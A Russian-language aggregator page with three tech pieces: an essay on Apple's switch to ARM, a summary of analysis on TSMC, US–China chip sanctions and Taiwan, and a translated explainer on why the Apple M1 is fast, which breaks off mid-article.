Да что уж говорить про серверный сегмент, если даже игровые приставки ушли от PowerPC/Cell к x86 и ARM.

Добро пожаловать в новый дивный мир. Или не пожаловать




Мысленно переместимся в середину 2000: доллар по 29, Apple заявляет о переходе с IBM PowerPC на Intel x86. Быстрее, выше, сильнее. Появляется транслятор Rosetta, который призван облегчить переход с одной архитектуры на другую. О разработке на MacBook тогда особо никто не думал, поэтому получалась мир-дружба-жвачка.

Теперь мы перемещаемся в 2007 год, когда Apple представила свой первый iPhone на Samsung 32-bit RISC ARM. Это эпохальное время для ARM. Процессоры этой архитектуры и раньше использовались в КПК, но устройства этого формата были прерогативой инженеров и гиков. Если вспомнить вагон метро того времени, то мало у кого можно было увидеть КПК, а если он и бросался в глаза, то вызывал интерес. А кого сейчас можно удивить смартфоном? Мобильные устройства полностью вошли в нашу жизнь. Сейчас рынок C/C++ или Assembler очень узкий, а вот мобильному разработчику практически все двери открыты. Да, под Android собирается Java, под iOS Swift. Но все это работает на ARM.

У ARM очень много преимуществ, я не думаю, что необходимо останавливаться на технических данных, потому как самое главное распространённость и привычка. Привычка как пользователей, так и разработки.

А между тем, ARM прорывается в мир приставок: Nintendo и nVidia начинают использовать эту архитектуру.

Прошлое забыто, будущее закрыто, настоящее даровано


Теперь перейдем в наше время. Этот год очень богат на события, поэтому я думаю, что смена архитектуры у Apple прошла, конечно же, заметно, но вот отголоски бэкграунда мы получим чуть позже.

В какой-то момент ноутбуки Apple стали не просто символом моды, они стали рабочим инструментом, притом что самое важное привычным инструментом разработчика. Мы часто слышим от кандидатов дайте мне MacBook или я буду программировать на своем. Разработчик (веб, мобила) и MacBook практически неделимы.

И вот на этом моменте начинается самое интересное: компания, у которой не такая и большая рыночная доля, но у которой есть инструмент, к которому привыкли и на котором по разным оценкам создается 90-95% кода для веба, меняет архитектуру процессора в своем продукте.
Вернемся в прошлое, где-то в 1985-1995 годы. В чем было преимущество x86: цена-доступность, привычка, растущее количество ПО и разработка ПО. Сейчас ноутбуки на Apple M1 продаются дешевле, чем на Intel Core. Разработчики сильно привыкли к Macbook, а если ARM версия дешевле x86, то ее в основном и будут покупать. А покупать ее будут и из-за цены, и из-за того, что по тестам она быстрее, и из-за того, что живет от зарядки больше. И вообще это суперновый Macbook!



И если с мобильной разработкой все более-менее понятно, в ней мало что изменится, то с вебом, возможно, начнется непонятное.

Пользователи новых MacBook будут работать на ARM, а писать код под x86. Да, есть Rosetta 2, да Docker пока не готов под M1. Но это все пока. Появятся оптимизированные версии под M1, разработчики, скорее всего, будут использовать образы ARM. Той же Java для работы нужна JVM, которая компилируется под конкретную архитектуру процессора. И когда-то возникнет так нами любимое У меня локально все работает, это что-то у вас с сервером!.

И в заключение




Мы не уверены, что будет так, как мы предполагаем. Возможно, Rosetta 2 будет жить постоянно, возможно, придумают что-то еще, возможно, Apple откажется от M1 (или империя Intel/AMD нанесет ответный удар).

Но пока что мы поискали по ящикам, нашли Raspberry Pi 4 и начали тестировать Docker на ARM. А заодно прошлись по всем нашим базовым образам в корпоративном Registry и посмотрели, можно ли их пересобрать под ARM.

VMware начинает портировать ESXi на ARM, Kubernetes уже существует в ARM-версии, у Amazon улучшаются ARM-инстансы, а в интернете часто пишут, что гегемонии x86 наступает конец.
Может быть, это все зря, но мы уже думаем про возможность и целесообразность использования серверов на ARM-архитектуре. Лучше об этом подумать сейчас, чтобы не оказаться в догоняющих и на обочине истории.
Подробнее..

Войны из-за чипов. Кто будет контролировать производство микросхем в 21 веке?

09.12.2020 12:08:12 | Автор: admin


На каждом этапе развития человечества на первый план выходят разные ресурсы и технологии. В 20 веке главным стратегическим ресурсом была нефть. Сейчас продвинутая микроэлектроника.

Например, одна страна может заблокировать другой стране доступ к производству продвинутой микроэлектроники, чтобы ограничить её военное и экономическое развитие. Именно это США пытаются сделать с Китаем, запрещая производство микросхем Huawei на заводах тайваньской компании Taiwan Semiconductor Manufacturing Company (TSMC).

Но это очень опасный ход, потому что США в реальности не просто угрожают компании Huawei, а пытаются сдержать развитие целой страны. Есть мнение, что прежняя администрация США не просчитала возможных последствий и не понимала, во что ввязывается.

Если ставки начнут расти, то Китай может применить своё влияние и заблокировать уже американским компаниям сотрудничество с тайваньской TSMC. Это будет мощный удар, потому что TSMC производитель самой продвинутой микроэлектроники в мире, пишет Стив Бланк на страницах издания War on Rocks.

Вряд ли до такого дойдёт, но пример TSMC демонстрирует серьёзную зависимость американской экономики от единственного поставщика. Микросхемы TSMC присутствуют в множестве современной электроники, включая почти все системы вооружения, созданные в 21 веке. Около 60% чипов TSMC сейчас отправляется американским компаниям.

Технологическое лидерство TSMC


Технологическое лидерство TSMC на данном этапе не вызывает особых сомнений. Стагнация Intel крайне затянулась, и компания сделала фатальную ошибку, отказавшись развивать архитектуру ARM (см. статью Крушение Intel состоялось).

Рекордная производительность Apple M1 не только достижение Apple в дизайне SoC, но и демонстрация передовых технических возможностей TSMC, которая занимается производством микросхем.


В ноябре 2020 года TSMC завершила строительство фабрики в научном парке Южного Тайваня, где начнёт выпуск полупроводниковой продукции по нормам 3 нм. Стоимость фабрики $19,5 млрд

В данный момент TSMC обслуживает клиентов со всего мира, а одним из главных является Apple. Скорее всего, она же станет первым заказчиком микросхем 3 нм на новой фабрике. Раньше Apple заказывала процессоры только для айфонов, а теперь ещё и для ноутбуков.

Даже Intel планирует заказать у TSMC производство некоторых микросхем. Возможно, в перспективе и производство отдельных процессоров Intel станет выгоднее отдать в TSMC.

В июне 2020 года министерство торговли США постановило производителям микроэлектроники, использующим американские технологии и оборудование, подавать заявки на получение лицензии перед выполнением заказов для Huawei. Это постановление направлено конкретно против TSMC, которая является основным поставщиком передовых чипов для Huawei.

В этом конфликте TSMC пока выбирает сторону США как более близкого партнёра. Кстати, в мае 2020 года TSMC анонсировала строительство фабрики стоимостью $12 млрд в Аризоне, где будет производить некоторые из самых передовых микросхем. Строительство планируется начать в 2021 году, а фактическое производство не раньше 2024 года. Впрочем, это скорее символический шаг, потому что американская фабрика вчетверо меньше, чем крупнейшие заводы TSMC, а её производство составит всего 3% от текущих мощностей на Тайване, где четыре крупных производственных хаба по 67 фабрик выпускают более 12 млн пластин в год (в эквиваленте на 300 мм пластины).

Кстати, на рынке оборудования для производства микроэлектроники тоже есть своеобразный монополист, как и TSMC. Это голландская ASML, единственный в мире производитель степперов для фотолитографии в глубоком ультрафиолете (EUV).


Степпер ASML

В 2018 году ASML получила заказ на поставку сканера EUV от компании Huawei, чьи заводы в настоящее время отстают на пару поколений от современного уровня TSMC. Под давлением США голландское правительство до сих пор не предоставило ASML экспортную лицензию.

Китайская микроэлектроника


И Америка, и Китай пытаются стимулировать производство микроэлектроники. Например, в США обсуждаются государственные субсидии отечественным производителям на $25 млрд. Для сравнения, Китай в 2019 году выделил на субсидии для производителей микроэлектроники почти в пять раз больше: $73,5 млрд, в эквиваленте.



С другой стороны, и потребности Китая в этой отрасли многократно выше. Десять лет назад Китай признал, что первоначальный экономический бум дешёвого промпроизводства закончен. Рабочая сила слишком подорожала. В результате пришлось перейти на выпуск более совершенных и сложных продуктов. Но большинство таких продуктов требует специальной электроники, а у Китая не хватало производственных возможностей для её изготовления. На диаграмме ниже показано, что Китай сейчас потребляет примерно 61% мирового производства микроэлектроники как для внутреннего рынка, так и для производства на экспорт. В 2018 году было импортировано микроэлектроники на $310 млрд. Китай осознал острую необходимость в развитии своей микроэлектроники. Иначе это стратегическая уязвимость.



Соответственно, были приняты две государственные программы для развития микроэлектроники, которые сейчас последовательно реализуются:

  1. Сделано в Китае 2025
  2. Национальный план по интегральным схемам

Второй документ предусматривает полное удовлетворение спроса на микроэлектронику к 2030 году. На эти цели выделяются огромные средства. Кроме вышеупомянутых государственных субсидий, в венчурные фонды привлекаются и частные инвестиции. Реализовано уже более 70 инвестиционных программ, включая строительство фабрик и покупку иностранных компаний. В результате доля Китая в мировом производстве микроэлектроники выросла с 0% почти до 16%.

В будущем Китай планирует инвестировать в программное обеспечение для проектирования микросхем, передовые материалы и оборудование для производства полупроводников. А лидеры КНР рассматривают действия США как направленные на то, чтобы помешать Китаю занять надлежащее ему место в мире.

Независимый остров


Сейчас вопрос заключается в том, будет ли Китай рассматривать действия против Huawei как санкции против одной компании или как попытку помешать КНР получить доступ к производству передовой микроэлектроники. Если второй вариант, то возможна быстрая эскалация конфликта, вплоть до военной угрозы Тайваню.

Остров Тайвань только формально является административной единицей КНР, но важно понимать территория острова никогда не контролировалась КНР. Это совершенно независимое, демократическое государство (кстати, с женщиной-президентом).



Сложность проблемы заключается в юридическом казусе, кто именно должен считаться правопреемником Китайской Республики, провозглашённой в 1911 году. Каждая из сторон считает именно себя правопреемником. Таким образом, никто не может признать независимое государство Тайвань, даже сам Тайвань (они официально называют себя Китайской Республикой).

На практике в последние десятилетия Китай не считал Тайвань угрозой и не особо покушался на его фактическую независимость. Но проблема с TSMC может разжечь конфликт уже на новом уровне.

Чего ожидать?


Аналитики War on Rocks предупреждают, что Китай может сделать некоторые выводы из предыдущих действий США, когда на карту были поставлены их интересы. С точки зрения некоторых китайских политиков, Америка истощена бесконечными войнами в Ираке и Афганистане и вряд ли будет воевать снова. Они видят, что США разделены политически, отвлечены пандемией COVID-19 и вряд ли станут рисковать американскими жизнями ради чего-то столь абстрактного, как заводы по производству микросхем.

Китай видел, что в течение последних двух десятилетий его агрессивные действия вызывали довольно вялую реакцию американской стороны в основном, просто бумажные протесты, то есть словесные заявления с выражением обеспокоенности и больше ничего.

В 2012 году Китай оккупировал отмель Скарборо вблизи побережья Филиппин (на карте внизу Scarborough Shoal). Вашингтон по этому поводу всего лишь выразил обеспокоенность, но не решился на конкретные действия. В результате, теперь на близлежащих островах Спратли (Spratly Islands) размещены новые китайские базы с ракетами класса земля-воздух, крылатыми ракетами и истребителями, что изменило баланс сил в западной части Тихого океана. Теперь любая попытка США контролировать воздушное пространство в этом районе столкнётся с серьёзным сопротивлением и большими потерями.



До недавнего времени у Гонконга как китайской территории были гарантии свободы слова, собраний и печати, но теперь Китай намерен их отменить. Опять США не делают ничего, лишь выражая озабоченность. На следующий день после заявления о наведении порядка в Гонконге китайский премьер-министр Ли Кэцян опустил слово мирное, когда сказал о воссоединении с Тайванем.

Отсутствие эффективного американского ответа на эти события показывает китайскому руководству, что США не желают насильственного вмешательства в азиатские дела. Это придаст смелости следующему шагу Китая, считают аналитики War on Rocks.

Цель Китая в ближайшей перспективе обеспечить стабильные поставки микросхем. Вероятно, сейчас они думают, как ответить на последние санкции против Huawei. Возможно, Китай пожелает избежать эскалации и пойдёт на переговоры. Например, они могут отказаться от продаж сетевого оборудования Huawei (34% доходов), сохранив потребительский бизнес.

В качестве альтернативы Пекин может принудить Тайвань выполнять свои заказы на производство и заблокировать экспорт чипов в США, тем самым нанеся ущерб американской промышленности. Можно вывести из строя фабрики TSMC путём диверсионной операции или прямой атаки. Китай может рассмотреть возможность национализировать два менее продвинутых завода TSMC в материковом Китае или нанести точечные ракетные удары по заводам на Тайване, выводя из строя по одному заводу в неделю, например.

Хотя эти более агрессивные сценарии кажутся не очень реальными.

Возможно, более вероятный вариант это торговая война в сочетании с крупной дезинформационной кампанией. Сейчас товарооборот Тайваня с КНР составляет около $150 млрд, а c США около $100 млрд. Это даёт КНР рычаги воздействия на Тайвань.

В любом случае маловероятно, что США объявят войну КНР из-за каких-то заводов, несмотря на их стратегическое значение.

Выводы


Споры вокруг запрета Huawei размещать заказы на фабриках TSMC показали, насколько уязвима американская промышленность к потере единственного поставщика передовых микроэлектроники. Если этот вопрос не решат путём переговоров, то Китай может воспринять эти санкции как экономическую войну. Тогда возможна эскалация конфликта, вплоть до реального вторжения.

В прежние времена кто мог подумать, что мир встанет перед угрозой настоящей войны из-за микроэлектроники?



На правах рекламы


Наша компания предлагает в аренду серверы с процессорами от Intel и AMD. В последнем случае это эпичные серверы! VDS с AMD EPYC, частота ядра CPU до 3.4 GHz. Создайте свою конфигурацию в пару кликов, максимальная конфигурация 128 ядер CPU, 512 ГБ RAM, 4000 ГБ NVMe.

Подробнее..

Перевод Почему чип Apple M1 такой быстрый?

23.01.2021 08:13:50 | Автор: admin

Опыт использования новых маков с М1 начинает расставлять точки над i. Эти чипы быстрые. Очень быстрые. Но почему? В чем магия?

Я смотрел видео на Youtube, где автор купил iMac в прошлом году максимальной конфигурации. Машина с 40+ Gb ОЗУ стоила ему около 4000$. Он смотрел с недоверием, как его гипердорогой iMac был разнесен в пух и прах новеньким Mac mini с М1 на борту, который стоил около 700$.

В реальном мире, тест за тестом, макбуки с М1 не просто превосходят топовые компьютеры Intel прошлых поколений. Компьютеры Mac просто уничтожают их. С недоверием люди стали спрашивать, как такое возможно?

Если вы не один из этих людей, то вы пришли в правильное место. Здесь я расскажу простыми словами, что же такого сделали Apple с их М1. Особенно многих интересуют следующие вопросы:

  • В чем техническая причина того, что чип М1 такой быстрый?

  • Сделали ли Apple нечто экзотическое, чтобы добиться такого эффекта?

  • Легко ли будет Intel и AMD сделать то же самое, чтобы оставаться в гонке?

Конечно, вы пробовали гуглить эти вопросы. Если вы попытаетесь понять, что сделали Apple за поверхностными пояснениями, вас очень быстро завалит обилием технического жаргона. Например, М1 использует блоки декодирования (very wide instruction decoders), огромный буфер переупорядочивания (reorder buffer, ROB) и т.д. Если вы не компьютерный гик, то подобные термины будут для вас просто чепухой.

Чтобы полностью погрузиться в тему, рекомендую к прочтению мою статью What Does RISC and CISC Mean in 2020?. В статье я объясняю, что такое микропроцессор CPU, а также разбираю концепции:

  • архитектура набора команд ISA

  • работа конвейера (Pipelining)

  • архитектура хранения и загрузки (load/store)

  • Микрокод vs микро-операции

Но если вы нетерпеливы, я опишу здесь кратко материал, достаточный для понимания этой статьи.

Что такое микропроцессор CPU?

Обычно, когда мы говорим о чипах от Intel или AMD, мы подразумеваем центральный процессор CPU. Как я уже писал в своей статье RISC vs CISC, процессор загружает инструкции из памяти, а затем каждая из них выполняется последовательно.

Очень простой RISC чип, не М1. Инструкции перемещаются из памяти по голубым линиям в регистры. Декодер определяет, чем является каждая инструкция, и активирует различные части CPU через красные линии. ALU складывает и отнимает числа из регистров.Очень простой RISC чип, не М1. Инструкции перемещаются из памяти по голубым линиям в регистры. Декодер определяет, чем является каждая инструкция, и активирует различные части CPU через красные линии. ALU складывает и отнимает числа из регистров.

CPU на самом базовом уровне - это устройство с несколькими именованными ячейками памяти, называемыми регистрами, и некоторым количеством вычислительных юнитов, названных арифметико-вычислительным устройством ALU. ALU выполняет сложение, вычитание и другие простые математические операции. Тем не менее, эти устройства лишь соединены с регистрами CPU. Если вы хотите сложить два числа, то вы должны сначала их получить из памяти, а затем положить в регистры. Ниже приведено несколько примеров типичных инструкций, которые и RISC процессор, и М! В том числе выполняет:

load r1, 150load r2, 200add  r1, r2store r1, 310

Здесь r1 и r2 - это регистры, о которых я говорил ранее. Современные RISC процессоры не способны выполнять операции над числами, которых нет в регистрах. Если даже числа лежат в оперативной памяти, то они все равно недоступны для CPU. Сначала их нужно поместить в два соответствующих регистра. В примере выше мы сначала сохраняем число из ячейки 150 в оперативной памяти в регистр r1, затем делаем то же самое для числа из ячейки 200 и сохраняем в регистре r2. Только после этого числа могут быть сложены инструкцией add.

Старый механический калькулятор с двумя регистрами: регистр для хранения результата (the accumulator) и регистр входящей информации. Современные CPU имеют больше дюжины регистров и они цифровые, а не механические.Старый механический калькулятор с двумя регистрами: регистр для хранения результата (the accumulator) и регистр входящей информации. Современные CPU имеют больше дюжины регистров и они цифровые, а не механические.

Концепция регистров стара. Например, на этом старом калькуляторе регистр - это механизм, который удерживает число, используемое в операции. Прямо как настоящий кассовый аппарат. Регистр - это расположение, где вы регистрируете входящее число.

M1 - это не центральный процессор

Очень важная вещь, которую нужно запомнить: М1 - это не только CPU. Это система множества чипов, лежащих в одной кремниевой обертке. CPU же - это один из этих чипов. Технически, М1 - это весь компьютер на одном чипе. Он содержит CPU, графический процессор GPU, память, контроллеры входа/выхода и множество других вещей, делающих компьютер компьютером. Это мы называем системой на чипе (system on the chip, SoC).

М1- система на чипе. Это значит, что все необходимое для компьютера - уже на чипе.М1- система на чипе. Это значит, что все необходимое для компьютера - уже на чипе.

Сегодня, если вы покупаете чип - Intel или AMD - фактически вы покупаете большое число микропроцессоров в одной обертке. В прошлом у компьютеров было несколько физически отдельных чипов на материнской плате.

Пример материнской платы. Память, CPU, графическая карта, контроллеры входа/выхода, сетевая карта и множество других компонентов присоединены к материнской плате для связи друг с другом.Пример материнской платы. Память, CPU, графическая карта, контроллеры входа/выхода, сетевая карта и множество других компонентов присоединены к материнской плате для связи друг с другом.

Сегодня у нас есть возможность поместить множество транзисторов на один чип, поэтому и Intel и AMD стали производить чипы со множеством микропроцессоров. Мы называем их ядрами процессора. Одно ядро, по сути, это полностью независимый чип, который может читать инструкции и исполнять их. Микрочип с несколькими CPU.

Многоядерный процессор.Многоядерный процессор.

Долгое время это было сутью игры за повышение мощности: просто добавь еще ядер в CPU. Но кто-то взбунтовался в рядах производителей: один игрок на рынке чипов пошёл по своему пути.

Не такой уж засекреченный неоднородный способ вычислений от Apple

Вместо того, чтобы следовать аренду добавления ядер в процессор, Apple выбрала иную стратегию: они стали добавлять больше специализированных процессоров для выполнения конкретных задач. Преимущество заключается в том, что специализированные чипы, как правило, существенно быстрее выполняют свою задачу, затрачивая меньше энергии, чем CPU общего назначения.

Об этом способе было известно давно. Много лет уже как специализированные чипы GPU выполняют определенную задачу - обработку графики. Графические процессоры от Nvidia и AMD делают это гораздо быстрее, чем мог бы делать центральный процессор.

Apple лишь пошла более радикально по этому пути. Вместо множества ядер общего назначения, чип М1 внутри содержит:

  • Центральный процессор CPU - мозги системы на чипе. Выполняет большинство задач компьютера и программ

  • Графический процессор GPU - используется в обработке графики и изображения, в том числе и в играх.

  • Блок обработки изображений ISP - используется для увеличения производительности во время работы приложений по обработке графики.

  • Обработчик цифровых сигналов (digital signal processor, DSP) - Выполняет более сложные математические функции, чем центральный процессор, включая декомпрессию музыкальных файлов.

  • Блок нейронной обработки (Neural processing unit, NPU) - используется в топовых смартфонах, чтобы ускорить работу машинного обучения и AI.

  • Кодировщик видео (Video encoder/decoder) - для энергоэффективного преобразования видео разных форматов.

  • Блок безопасности (Secure Enclave) - шифрование, аутентификация и безопасность.

  • Блок единой памяти (Unified memory) - позволяет модулям чипа взаимодействовать максимально быстро.

Это только часть объяснения, почему люди, которые занимаются видео и графикой на компьютерах с процессором М1, отмечают прирост производительности. Дело в том, что задачи выполняются на том процессоре, который для этого был создан. Это позволяет относительно недорогому Mac mini с М1 на борту обработать графику, даже не вспотев, тогда как дорогой iMac с Intel запускает все свои кулеры охлаждения на полную мощность и все равно отстает от М1. Прочесть больше о неоднородном (heterogeneous) вычислении можно здесь: Apple M1 foreshadows Rise of RISC-V.

Синие блоки - это чипы центрального процессора, а зелёные - графического.Синие блоки - это чипы центрального процессора, а зелёные - графического.

В чем особенность архитектуры Единой Памяти (UMA) от Apple?

Я немного лукавлю, когда говорю Архитектура Единой Памяти (Unified Memory Architecture, UMA). Чтобы объяснить почему, вернемся на пару шагов назад.

Долгое время недорогие компьютеры имели центральный процессор с интегрированным графическим на одном чипе. Он работал медленно. В прошлом, когда говорили интегрированная графика, подразумевали слабая графика. Эти процессоры были слабы по нескольким причинам. Первая заключается в том, что память для центрального процессора и графического была разделена. Если данные от центрального процессора должны были быть переданы графическому, то он не мог просто сказать На, держи и используй. CPU должен был явно скопировать этот блок данных в память графического процессора.

CPU не требует большого объема данных, но хочет получать их быстро.CPU не требует большого объема данных, но хочет получать их быстро.

CPU и GPU работают с памятью по-разному. Позволим себе привести аналогию из жизни: CPU хочет, чтобы официант подал блюдо как можно быстрее, и маленькие порции не заботят процессор. Представьте себе небольшой французский ресторан, где официанты катаются на роликах.

Так графический процессор хочет видеть порцию данных. Чем больше, тем веселее.Так графический процессор хочет видеть порцию данных. Чем больше, тем веселее.

Графический процессор, напротив, жаждет большие порции и готов подождать ради этого. Он пожирает огромнейшие куски данных, потому что этот процессор - множество чипов, которые обрабатывают данные параллельно. Представьте американскую фастфуд-закусочную, где нужно немного подождать, пока прикатят тележку еды к твоему столику.

Зная разницу в способах работы с памятью у CPU и GPU, это было не самой лучшей идеей размещать их на одной плате. GPU постоянно голодает, пока ему подают маленькие порции методом французской сервировки. Как результат, не имело смысла ставить производительные GPU на один чип вместе с CPU. Так самые маленькие порции данных вполне могли быть разжеваны слабым графическим процессором.

Вторая причина слабой графики - производимое тепло мощными GPU. По этой причине нельзя было их интегрировать с CPU, не получив проблем с охлаждением. Большинство графических дискретных карт выглядит так, как карта ниже: огромные монстры с массивными кулерами. У них есть специально выделенная память, чтобы обрабатывать огромные блоки данных.

GeForce RTX 3080.GeForce RTX 3080.

Поэтому эти карты выдают высокую производительность. Однако у них есть ахиллесова пята: если они хотят получить какие-либо данные из памяти CPU, то эти данные передаются по медным путям, называемым шиной PCIe. Попробуйте после долгой работы попить воду через тонкую соломинку. Она быстро дойдет до вашего рта, но пропускная способность будет недостаточной.

Блок единой памяти (UMA) Apple пытается решить эти проблемы без недостатков старомодной общей памяти. Они достигают этого следующим образом:

  1. Больше нет специально ограждённых блоков памяти для CPU или GPU. Память доступна для обоих процессоров. Они используют одни и те же ячейки памяти, копирования больше нет.

  2. Apple ставят память, которая способа выдавать большие порции данных быстро. В техническом лексиконе это называется низкой задержкой и высокой пропускной способностью (low latency and high throughput). Как следствие, соединения между двумя раздельными областями памяти не требуется.

  3. Apple сумели снизить потребление энергии у GPU, поэтому относительно производительные графические процессоры теперь можно интегрировать на чип без перегрева. Процессоры ARM производят в целом меньше тепла, соответственно графический чип может позволить себе нагреться сильнее до допустимых температур, чем такой же чип на матрице от Intel или AMD.

Некоторые скажут, что единая память UMA - это не новинка, и это будет правдой. Различные системы в прошлом имели схожую архитектуру, однако в них, во-первых, требования к памяти не так сильно отличались, как требования от CPU и GPU. Во вторых, то, что Nvidia называют единой памятью, на самом деле не совсем таковой являлось. В мире Nvidia единая память - это когда программное обеспечение и железо работают так, чтобы бесшовно копировать данные между раздельными областями памяти CPU и GPU. С точки зрения программистов единая память от Apple и от Nvidia работают одинаково, но под капотом совершенно разная архитектура.

Конечно, есть и обратная сторона такой архитектуры памяти Apple. Обеспечение широкой пропускной способности памяти требует полной интеграции, что подразумевает отсутствие возможности апгрейда железа. Apple стремится минимизировать риски, в том числе работая над увеличением скорости работы SSD дисков.

Так компьютеры Apple работали с видео до появления архитектуры единой памяти. Одна из опций - использовать внешнюю видеокарту, работающую по порту Thunderbolt 3. Есть разные предположения о том, как эта же система будет работать в будущем с М1.Так компьютеры Apple работали с видео до появления архитектуры единой памяти. Одна из опций - использовать внешнюю видеокарту, работающую по порту Thunderbolt 3. Есть разные предположения о том, как эта же система будет работать в будущем с М1.

Если системы SoC такие умные, то почему Intel и AMD не следуют той же стратегии?

Что же такого Apple делает, что не могут делать другие производители? В некоторой степени, делают. Многие производители добавляют все чаще специализированные со-процессоры. AMD тоже начали ставить более мощные графические процессоры в свои чипы, а также они постепенно двигаются к некоторой форме систем на чипе, называемых Accelerated Processing Unit APU, которые являются тоже комбинацией CPU и GPU на одном чипе.

APU от AMD Ryzen. CPU и GPU (Radeon Vega) расположены на одной матрице, но этот чип все равно не содержит других со-процессоров, IO контроллеров и единой памяти.APU от AMD Ryzen. CPU и GPU (Radeon Vega) расположены на одной матрице, но этот чип все равно не содержит других со-процессоров, IO контроллеров и единой памяти.

Есть еще одна важная причина, почему AMD не спешат. Чип SoC - это весь компьютер на одном чипе. Это затрудняет бизнес для нынешних производителей компьютеров вроде HP или Dell. Позвольте мне прояснить позицию: если весь ваш бизнес заточен под производство двигателей для машины, то это будет необычно начинать производить и продавать целые машины.

В случае ARM же, напротив, это не проблема. Производители компьютерных деталей могут просто купить лицензию на производство ARM и другие чипы и производить SoC с теми компонентами, которые они подчищают полезными. Затем они отправят готовые макеты на завод производства полупроводников вроде GlobalFoundries или TSMC, которые уже сегодня производят чипы для ARM и Apple.

Завод по производству полупроводников TSMC в Тайване. Завод провизводит чипы для AMD, Apple, Nvidia и Qualcomm.Завод по производству полупроводников TSMC в Тайване. Завод провизводит чипы для AMD, Apple, Nvidia и Qualcomm.

Здесь возникает большая проблема, связанная с бизнес-моделью Intel и AMD. Их модель основана на продаже процессоров общего назначения, которые покупатели просто вставляют в материнские платы. Любой желающий может просто купить материнскую плату, память, CPU и видеокарту от любого производителя и собрать их в одном компьютере.

Однако мы уже уходим от этого подхода. В новом мире SoC вы не собираете компоненты от разных производителей. Вместо этого вы собираете интеллектуальную собственность на производство. Вы покупаете чертежи видеокарты, CPU, модема, IO контроллеров и других деталей компьютера от разных вендоров и интегрируете их в собственном SoC. Сейчас ни Intel, ни AMD, ни Nvidia не планируют продавать лицензию на интеллектуальную собственность на производство SoC Dell, HP или любому другому производителю.

Конечно, Intel и AMD могут начать продавать произведенные SoC. Но из каких компонентов они будут состоять? У сборщиков компьютеров есть свои соображения на этот счет. В итоге эта ситуация может перерасти в конфликт между Intel, AMD, Microsoft, потому что произведенные чипы нуждаются и в программном обеспечении.

Для Apple все просто - они контролируют весь процесс производства. Они предоставляют, например, библиотеку Core ML для машинного обучения. Сторонние разработчиков не задумываются даже, работает ли их код с Core ML на CPU от Apple или Нейронном чипе (Neural Engine).

Гонка наращивания мощности CPU

Неоднородные вычисления (heterogeneous computing) - это только лишь одна из причин. Ядра общего назначения процессора М1, называемые Firestorm, действительно быстры. Это главное отличие от ARM процессоров прошлого, которые были слабы по сравнению с процессорами Intel и AMD.

Firestorm обгоняет большинство процессоров Intel и самый быстрый чип от AMD - Ryzen. Народная мудрость гласит, что этого никогда не должно произойти. Прежде чем поговорить о том, что делает Firestorm таким быстрым, важно понять концепции увеличения мощности процессора. В принципе, вы можете комбинировать два пути увеличения скорости:

  1. Быстрее выполнять инструкции в последовательности.

  2. Выполнять инструкции параллельно.

В далеких 80-х это было легко. Просто увеличьте частоту процессора, и инструкции будут выполнены быстрее. Цикл процессора - это когда чип выполняет какую-то операцию. Но эта операция может быть очень маленькой. Таким образом, инструкция может потребовать несколько тактов выполнения, так как состоит из нескольких мелких операций.

Тем не менее, сегодня увеличение частоты процессора становится почти неосуществимым. Это тот самый Конец закона Мура, о котором люди твердят последнее десятилетие. Таким образом, у нас остается только увеличивать количество выполняемых инструкций в параллели.

Много ядер или процессоры исполнения вне очереди ОоОЕ?

Как уже говорили, есть две опции:

  • Увеличить количество ядер в процессор, чтобы каждое работало в параллели и независимо.

  • Научить каждое ядро выполнять несколько инструкций параллельно.

С точки зрения разработчика, добавить ядер - это как добавить потоки (thread) выполнения. Каждое ядро работает как физический поток. Если вы не знаете, что такое поток, то можете воспринимать его как процесс, который выполняет какую-то задачу. С двумя ядрами CPU может выполнять две задачи параллельно в два потока. Задачей же может быть две какие-либо программы или одна и та же программа, запущенная дважды. Каждый поток имеет свое место в последовательности программных инструкций и временно хранит результаты выполнения.

В принципе, процессор может иметь одно ядро и выполнять программы в несколько потоков. В таком случае процессор прерывает один поток и сохраняет его состояние перед переключением на другой поток. Позже он переключится назад. Такая схема более-менее работоспособна, пока процессор не начинает часто переключаться из-за:

  • ожидания ввода данных пользователем

  • данных, которые приходят медленно из-за плохого интернета и других подобных случаев.

Это называется логическими потоками. Физические же потоки используют физические ядра для ускорения работоспособности.

Для разработчиков проблему составляют логические потоки, ведь под них необходимо специально писать мультипоточный код. Это сложно, а в прошлом это было едва ли не самой сложной задачей. Тем не менее, сервер со множеством логических потоков - это не сложно: каждый веб-запрос пользователя обрабатывается отдельным потоком. Таким образом, множество физических ядер дает ощутимое преимущество. Особенно для облачных вычислений.

Процессор ARM Ampere Altra Max имеет на борту очень много физических ядер и был разработан специально для облачных решений.Процессор ARM Ampere Altra Max имеет на борту очень много физических ядер и был разработан специально для облачных решений.

Вот поэтому мы и видим процессоры ARM с безумными 128-мью ядрами. Этот чип был специально разработан для облаков. Вам не нужно сумасшедшую мощность от одного ядра, потому что в облачных сервисах важно наличие как максимального количества физических ядер на 1 Ватт мощности, чтобы обработать как можно больше запросов пользователей. Более подробно о многоядерных процессорах можно прочесть в статье Are Servers Next for Apple?.

Apple же на противоположной стороне спектра устройств. Они производят устройства для одного пользователя, и множество ядер - это небольшое преимущество. Покупатели ведь используют свои компьютеры для игр, видеоредакторов и разработки программ. Они хотят девайсы с мощной графикой.

Программы для пользовательского рынка обычно не используют много ядер компьютера. Например, игры работают прекрасно и на восьмиядерных процессорах, а 128 ядер - это трата ресурсов. Тут лучше меньше ядер, но более мощных.

Как работают процессоры Out-of-Order

Чем больше параллельно выполняемых инструкций, тем быстрее процессор. Принцип выполнения Out-of-order execution (ОоОЕ) заключается в том, что инструкции выполняются параллельно и при этом эта параллельность незаметна разработчикам программного обеспечения. Об альтернативном решении можно почитать здесь: Very Long Instruction Word Microprocessors.

Разработчики не должны писать код, чтобы воспользоваться преимуществами ОоОЕ. С точки зрения разработчика это выглядит так, как будто каждое ядро работает быстрее. Прошу заметить, что это не прямая альтернатива физическим потокам. Можно использовать оба варианта в зависимости от проблемы, которую необходимо решить. Чтобы понять, как работает ОоОЕ, нужно понимать принцип работы памяти компьютера. Запрашивание данных из одного расположения работает медленно, а процессор способен запрашивать данные параллельно. Следовательно, передача 1 байта информации займет столько же времени, сколько и 100 следующих байт.

Роботы на складе онлайн-магазина Komplett.no, Норвегия.Роботы на складе онлайн-магазина Komplett.no, Норвегия.

Вот вам аналогия: посмотрите на подъемники на складе, например, на этих красных роботов на фото. Постоянные перемещения по пространству и быстрое взятие объектов из близлежащих ячеек хранения. Память компьютера похожа на это. Вы можете вытащить информацию осень быстро, если она лежит в близких друг к другу ячейках.

